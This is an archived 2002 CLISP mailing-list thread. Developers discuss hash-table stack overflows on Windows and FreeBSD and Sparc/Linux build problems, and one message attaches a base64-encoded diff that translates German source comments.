o (queens 21.0s0) still crashes. > I investigated the stack handling in win32. It seems that all works > ok, so hash table handling code just eats too much program > stack. Thus, it is not a crash, but a nice stack overflow handling. > > To increase maximal hashtable size you may relink lisp with other > stack size instead of current 3145728 (it's set in Makefile by editbin > utility when building in MSVC). actually, you o not have to re-link - you can do this with the existing lisp.exe. > This memory doesn't being allocated at once but only when it's needed > through exception mechanism, so I find it safe to change 3M value to, > say, 16M (16777216). Maybe we should ask Sam to change Makefile.in ? how will this affect the lesser woe32 platforms, like win95? > I'm not a unix expert and cannot say what stack size available > on FreeBSD version. But the following function > > (defun a(x) (print x) (+ x (a (+ x 1)))) > > being called as (a 1) counts until 3287 in win NT and approx. until > 15000 in FreeBSD. I wonder whether it's because of another aligment or > because of greater stack limit. It's interesting, what will print > linux version of clisp. this depends on "ulimit -s". > Question to honorable Sam: You recently maked weak-hash-tables, may be > you know, why hash tables are so program-stack hungry ? Max. HT size > seems roughly proportional to program stack size, i.e. for 1.5M stack > max HT is 55000, for 3M stack max HT size is 123000. I don't think it is: [24]> (make-hash-table :size (ash most-positive-fixnum -1) ) #S(hash-table eql) [25]> (make-hash-table :size (1+ (ash most-positive-fixnum -1) )) *** - Hash table size 8388608 too large -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! I don't want to be young again, I just don't want to get any older. From will@misconception.org.uk Sat Mar 23 13:29:40 2002 Received: from imailg1.svr.pol.co.uk ([195.92.195.179]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ot51-0006G8-00 for ; Sat, 23 Mar 2002 13:29:39 -0800 Received: from modem-735.abra.dialup.pol.co.uk ([217.135.3.223] helo=there) by imailg1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16ot4z-0000Zx-00 for clisp-list@lists.sourceforge.net; Sat, 23 Mar 2002 21:29:37 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build problems on Sparc/Linux X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 23 13:30:06 2002 X-Original-Date: Sat, 23 Mar 2002 20:27:38 +0000 On Friday 22 Mar 2002 10:40 pm, Sam Steingold wrote: > what I would do is gcc -E lispbibl.d with glibc2.0 and glibc2.2 and > compare the results. Does anyone here have a Sparc?linux glibc 2.0 machine? The only Sparc equipment I have access to is not mine sp I cannot do this myself. If anyone does just email me the output and I will be grateful. I'm not really expecting anyone does TBH, glibc 2.0 is quite old now. From ampy@ich.dvo.ru Sat Mar 23 16:11:57 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ovbx-0003k5-00 for ; Sat, 23 Mar 2002 16:11:50 -0800 Received: from ppp73-3640.vtc.ru (ppp73-3640.vtc.ru [212.16.216.73]) by vtc.ru (8.12.2/8.12.2) with ESMTP id g2O0B6WG009470; Sun, 24 Mar 2002 10:11:10 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1512001668.20020324101158@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] CLISP stack & hash tables In-reply-To: References: <1805917388.20020323193446@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 23 16:12:11 2002 X-Original-Date: Sun, 24 Mar 2002 10:11:58 +1000 Hello Sam, Sunday, March 24, 2002, 3:43:24 AM, you wrote: >> This memory doesn't being allocated at once but only when it's needed >> through exception mechanism, so I find it safe to change 3M value to, >> say, 16M (16777216). Maybe we should ask Sam to change Makefile.in ? Sam> how will this affect the lesser woe32 platforms, like win95? I didn't think about it. I'll try to check on win95. >> Question to honorable Sam: You recently maked weak-hash-tables, may be >> you know, why hash tables are so program-stack hungry ? Max. HT size >> seems roughly proportional to program stack size, i.e. for 1.5M stack >> max HT is 55000, for 3M stack max HT size is 123000. Sam> I don't think it is: [24]>> (make-hash-table :size (ash most-positive-fixnum -1) ) Sam> #S(hash-table eql) [25]>> (make-hash-table :size (1+ (ash most-positive-fixnum -1) )) Sam> *** - Hash table size 8388608 too large On winnt all just the same, but if you'll begin to work with big HTs (limits I have roughly pointed out), "Program stack overflow. RESET" arises. It's not necessary to fill all such a big HT, usually 5000 elements are enough. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From samuel.steingold@verizon.net Sat Mar 23 19:01:48 2002 Received: from out001slb.verizon.net ([206.46.170.13] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16oyGR-00006Q-00 for ; Sat, 23 Mar 2002 19:01:47 -0800 Received: from gnu.org ([151.203.226.21]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020324030144.KHBA6775.out001.verizon.net@gnu.org>; Sat, 23 Mar 2002 21:01:44 -0600 To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] CLISP stack & hash tables References: <1805917388.20020323193446@ich.dvo.ru> <1512001668.20020324101158@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1512001668.20020324101158@ich.dvo.ru> Message-ID: Lines: 64 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 23 19:02:08 2002 X-Original-Date: 23 Mar 2002 22:01:54 -0500 Hi Arseny, > * In message <1512001668.20020324101158@ich.dvo.ru> > * On the subject of "Re[2]: [clisp-list] CLISP stack & hash tables" > * Sent on Sun, 24 Mar 2002 10:11:58 +1000 > * Honorable Arseny Slobodjuck writes: > > > Sunday, March 24, 2002, 3:43:24 AM, you wrote: > > >> Question to honorable Sam: You recently maked weak-hash-tables, may be > >> you know, why hash tables are so program-stack hungry ? Max. HT size > >> seems roughly proportional to program stack size, i.e. for 1.5M stack > >> max HT is 55000, for 3M stack max HT size is 123000. > > Sam> I don't think it is: > > [24]>> (make-hash-table :size (ash most-positive-fixnum -1) ) > Sam> #S(hash-table eql) > [25]>> (make-hash-table :size (1+ (ash most-positive-fixnum -1) )) > Sam> *** - Hash table size 8388608 too large > > On winnt all just the same, but if you'll begin to work with big HTs > (limits I have roughly pointed out), "Program stack overflow. RESET" > arises. It's not necessary to fill all such a big HT, usually 5000 > elements are enough. [1]> (setq h (make-hash-table :size 100000) ) #S(HASH-TABLE EQL) [2]> (dotimes (i 100000) (setf (gethash i h) i)) NIL [3]> (setq *print-array* nil) NIL [4]> (defun z (n) (let ((h (make-hash-table :size n))) (dotimes (i n) (setf (gethash i h) i)))) Z [5]> (z 10000) NIL [6]> (defun z (n) (let ((h (make-hash-table :size n))) (dotimes (i n h) (setf (gethash i h) i)))) Z [7]> (z 10000) # [8]> (z 100000) # [9]> (z 100000) # [10]> (z 1000000) # [11]> (z 10000000) *** - Hash table size 10000000 too large 1. Break [12]> [13]> (z (ash most-positive-fixnum -1)) # [14]> (z (1+ (ash most-positive-fixnum -1))) *** - Hash table size 8388608 too large 1. Break [15]> -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! MS Windows vs IBM OS/2: Why marketing matters more than technology... From samuel.steingold@verizon.net Sat Mar 23 19:16:12 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16oyUN-0002LT-00 for ; Sat, 23 Mar 2002 19:16:11 -0800 Received: from gnu.org ([151.203.226.21]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020324031610.KEBL11449.out012.verizon.net@gnu.org>; Sat, 23 Mar 2002 21:16:10 -0600 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build problems on Sparc/Linux References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 23 19:17:02 2002 X-Original-Date: 23 Mar 2002 22:16:20 -0500 > * In message > * On the subject of "Re: [clisp-list] Build problems on Sparc/Linux" > * Sent on Sat, 23 Mar 2002 20:27:38 +0000 > * Honorable Will Newton writes: > > On Friday 22 Mar 2002 10:40 pm, Sam Steingold wrote: > > > what I would do is gcc -E lispbibl.d with glibc2.0 and glibc2.2 and > > compare the results. > > Does anyone here have a Sparc?linux glibc 2.0 machine? The only Sparc > equipment I have access to is not mine sp I cannot do this myself. If anyone > does just email me the output and I will be grateful. > > I'm not really expecting anyone does TBH, glibc 2.0 is quite old now. You should ask the debian people - last year they were quite forthcoming with giving me a sparc/linux account, and they (Ben Collins &co) appeared to be able to access a glibc2.0 machine. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Never underestimate the power of stupid people in large groups. From ampy@ich.dvo.ru Sun Mar 24 06:22:09 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16p8sV-0004oA-00 for ; Sun, 24 Mar 2002 06:21:50 -0800 Received: from ppp77-3640.vtc.ru (ppp77-3640.vtc.ru [212.16.216.77]) by vtc.ru (8.12.2/8.12.2) with ESMTP id g2OEL7WG023166; Mon, 25 Mar 2002 00:21:09 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <141241264.20020325002205@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] CLISP stack & hash tables In-reply-To: References: <1805917388.20020323193446@ich.dvo.ru> <1512001668.20020324101158@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 24 06:23:06 2002 X-Original-Date: Mon, 25 Mar 2002 00:22:05 +1000 Hello Sam, Sunday, March 24, 2002, 1:01:54 PM, you wrote: >> >> Question to honorable Sam: You recently maked weak-hash-tables, may be >> >> you know, why hash tables are so program-stack hungry ? Max. HT size >> >> seems roughly proportional to program stack size, i.e. for 1.5M stack >> >> max HT is 55000, for 3M stack max HT size is 123000. >> >> Sam> I don't think it is: >> >> [24]>> (make-hash-table :size (ash most-positive-fixnum -1) ) >> Sam> #S(hash-table eql) >> [25]>> (make-hash-table :size (1+ (ash most-positive-fixnum -1) )) >> Sam> *** - Hash table size 8388608 too large >> >> On winnt all just the same, but if you'll begin to work with big HTs >> (limits I have roughly pointed out), "Program stack overflow. RESET" >> arises. It's not necessary to fill all such a big HT, usually 5000 >> elements are enough. [1]>> (setq h (make-hash-table :size 100000) Sam> ) Sam> #S(HASH-TABLE EQL) [2]>> (dotimes (i 100000) (setf (gethash i h) i)) Sam> NIL [3]>> (setq *print-array* nil) Sam> NIL [4]>> (defun z (n) (let ((h (make-hash-table :size n))) (dotimes (i n) (setf (gethash i h) i)))) Sam> Z [5]>> (z 10000) Sam> NIL [6]>> (defun z (n) (let ((h (make-hash-table :size n))) (dotimes (i n h) (setf (gethash i h) i)))) Sam> Z [7]>> (z 10000) Sam> # [8]>> (z 100000) Sam> # [9]>> (z 100000) Sam> # [10]>> (z 1000000) Sam> # [11]>> (z 10000000) Sam> *** - Hash table size 10000000 too large 1. Break [12]>> [13]>> (z (ash most-positive-fixnum -1)) Sam> # [14]>> (z (1+ (ash most-positive-fixnum -1))) Sam> *** - Hash table size 8388608 too large 1. Break [15]>> Cool. Now I think that problem sits in GC. When I periodically call GC in process of filling the HT, stack overflow doesn't appear. (But it S-L-O-W ! It seems slower than just by GC time, may be CPU cache does something with this...) GC differs for different OSes ... May be GC being overloaded by garbage ? What do you think ? Another problem: when I limited the stack by 'ulimit -s' in FreeBSD, my endless-recursion test caused coredump instead of detected stack overflow. Value of counter achieved is comparable hovewer with win32 version (4000 for 3M stack in FreeBSD, 3200 in win NT). -- Best regards, Arseny mailto:ampy@ich.dvo.ru From will@misconception.org.uk Sun Mar 24 07:32:47 2002 Received: from imailg3.svr.pol.co.uk ([195.92.195.181]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16p9zC-0005Rt-00 for ; Sun, 24 Mar 2002 07:32:46 -0800 Received: from modem-738.articuno.dialup.pol.co.uk ([217.135.28.226] helo=there) by imailg3.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16p9zA-0000Au-00 for clisp-list@lists.sourceforge.net; Sun, 24 Mar 2002 15:32:44 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build problems on Sparc/Linux X-Mailer: KMail [version 1.3.2] References: <3C9D9348.4CA8DA33@users.sourceforge.net> In-Reply-To: <3C9D9348.4CA8DA33@users.sourceforge.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 24 07:33:05 2002 X-Original-Date: Sun, 24 Mar 2002 15:26:56 +0000 On Sunday 24 Mar 2002 8:50 am, you wrote: > So here is spvw.d, spvw_garcol.d will be the next translation target. Thanks! This should be a big help. From smk@users.sourceforge.net Sun Mar 24 00:49:34 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16p3gy-0006n6-00 for ; Sun, 24 Mar 2002 00:49:33 -0800 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout1.freenet.de with esmtp (Exim 3.33 #4) id 16p3gf-0003DN-00; Sun, 24 Mar 2002 09:49:13 +0100 Received: from b8227.pppool.de ([213.7.130.39] helo=users.sourceforge.net) by mx2.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.33 #4) id 16p3gS-0007g8-00; Sun, 24 Mar 2002 09:49:00 +0100 Message-ID: <3C9D9348.4CA8DA33@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 To: sds@gnu.org CC: Will Newton , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build problems on Sparc/Linux References: Content-Type: multipart/mixed; boundary="------------4208E3E117C0918EB231B7F9" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 24 09:18:03 2002 X-Original-Date: Sun, 24 Mar 2002 09:50:16 +0100 This is a multi-part message in MIME format. --------------4208E3E117C0918EB231B7F9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, Sam Steingold wrote: > > I will have a look at it certainly, but all the comments are in > > german, of which I have quite a poor grasp. did you know, that in the good old times of the "wild west", German was almost elected as the official language in the US (at least in one state)? :-) > Stefan, could you please kindly expedite translating the spvw*.d files? > Thanks! if I am asked this nicely, I just cannot refuse... :-) BTW, if you peruse over my translations and find something that sounds odd for the native English speaker, could you correct me and inform me? I am always eager to improve my English. So here is spvw.d, spvw_garcol.d will be the next translation target. Just for those guys, that ask themselves: What does this strange "spvw" stand for????? SPVW is a the german abbreviation for Speicherverwaltung := Memory Management Bye, Stefan --------------4208E3E117C0918EB231B7F9 Content-Type: application/octet-stream; name="spvw.diff.gz" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="spvw.diff.gz" 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 